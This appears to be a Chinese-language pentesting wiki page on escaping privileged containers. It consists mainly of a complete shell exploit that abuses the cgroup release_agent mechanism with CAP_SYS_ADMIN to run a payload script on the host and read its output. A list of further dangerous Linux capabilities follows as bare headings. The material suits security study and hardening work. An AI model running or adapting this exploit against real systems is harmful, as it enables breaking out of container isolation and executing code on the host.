过度权限
$ capsh --print | grep CurrentCAP_SYS_ADMIN
滥用用户模式助手API
# 查找并启用cgroup release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# 在cgroup中启用notify_on_release
mkdir -p $d/w; echo 1 > $d/w/notify_on_release
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将release_agent设置为/path/payload
touch /o; echo $t/c > $d/release_agent
# 创建payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c
# 通过空的cgroup.procs触发cgroup
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# 读取输出
cat /o使用此技术的要求
使用cgroups传递漏洞利用
仅使用CAP_SYS_ADMIN权能逃逸
滥用暴露的主机目录
CAP_SYS_MODULE
CAP_SYS_RAWIO
CAP_NET_ADMIN
CAP_SYS_CHROOT
CAP_SYS_PTRACE
CAP_NET_RAW
CAP_SYS_BOOT
CAP_SYSLOG
CAP_DAC_READ_SEARCH
参考资料
最后更新于